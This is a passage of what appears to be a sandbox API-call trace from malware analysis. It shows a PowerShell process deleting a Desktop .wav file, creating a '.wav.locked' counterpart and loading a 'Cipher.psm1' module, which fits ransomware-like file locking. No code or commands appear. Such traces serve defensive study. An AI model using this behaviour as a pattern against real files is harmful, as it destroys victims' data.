lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0128.428] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0128.428] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0128.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0128.428] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0128.428] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav\\", lpFilePart=0x0) returned 0x36 [0128.428] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0128.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0128.428] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0128.428] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0128.428] CoTaskMemFree (pv=0x8ebb8c8) [0128.429] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav")) returned 0x20 [0128.430] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0128.430] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0128.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0128.430] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav"), fInfoLevelId=0x0, lpFileInformation=0x69a2ba8 | out: lpFileInformation=0x69a2ba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a4e7cc0, ftCreationTime.dwHighDateTime=0x1d4a64a, ftLastAccessTime.dwLowDateTime=0x1642d530, ftLastAccessTime.dwHighDateTime=0x1d4a891, ftLastWriteTime.dwLowDateTime=0x1642d530, ftLastWriteTime.dwHighDateTime=0x1d4a891, nFileSizeHigh=0x0, nFileSizeLow=0x153f7)) returned 1 [0128.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0128.430] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav")) returned 1 [0128.432] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.433] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xca00\x8df") returned 0x0 [0128.433] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.433] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.433] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.434] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav.locked")) returned 0x20 [0128.434] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav.locked")) returned 0x20 [0128.434] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav.locked", lpFilePart=0x0) returned 0x3c [0128.435] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav.locked", lpFilePart=0x0) returned 0x3c [0128.435] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.435] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0128.435] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.436] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.436] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.436] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.437] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.438] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.438] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.438] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.438] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.440] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.440] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.441] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.441] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.441] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.443] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.444] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.444] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.444] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.444] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.446] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.447] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.448] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.448] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.448] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.450] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0128.453] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav.locked"), fInfoLevelId=0x0, lpFileInformation=0x69b17b0 | out: lpFileInformation=0x69b17b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc54809, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xfc54809, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xfc54809, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x15414)) returned 1 [0128.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0128.453] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav.locked", lpFilePart=0x0) returned 0x3c [0128.453] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0128.453] GetFileInformationByHandle (in: hFile=0x868, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0128.453] CloseHandle (hObject=0x868) returned 1 [0128.455] GetConsoleOutputCP () returned 0x1b5 [0128.457] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.457] GetConsoleOutputCP () returned 0x1b5 [0128.458] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.458] GetConsoleOutputCP () returned 0x1b5 [0128.458] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.458] GetConsoleOutputCP () returned 0x1b5 [0128.458] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.458] GetConsoleOutputCP () returned 0x1b5 [0128.459] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.459] GetConsoleOutputCP () returned 0x1b5 [0128.459] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.459] GetConsoleOutputCP () returned 0x1b5 [0128.459] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.459] GetConsoleOutputCP () returned 0x1b5 [0128.460] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.460] GetConsoleOutputCP () returned 0x1b5 [0128.460] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.460] GetConsoleOutputCP () returned 0x1b5 [0128.460] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.460] GetConsoleOutputCP () returned 0x1b5 [0128.461] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.461] GetConsoleOutputCP () returned 0x1b5 [0128.461] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.461] GetConsoleOutputCP () returned 0x1b5 [0128.461] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.461] GetConsoleOutputCP () returned 0x1b5 [0128.462] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.462] GetConsoleOutputCP () returned 0x1b5 [0128.462] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.462] GetConsoleOutputCP () returned 0x1b5 [0128.462] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.462] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0128.462] GetConsoleOutputCP () returned 0x1b5 [0128.463] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0128.463] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.463] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69d8580*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x69d8580*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0128.464] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.464] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0128.468] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.468] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.469] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\x3a00\x696\x3a24\x696\x39dc\x696\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0128.469] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.469] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, 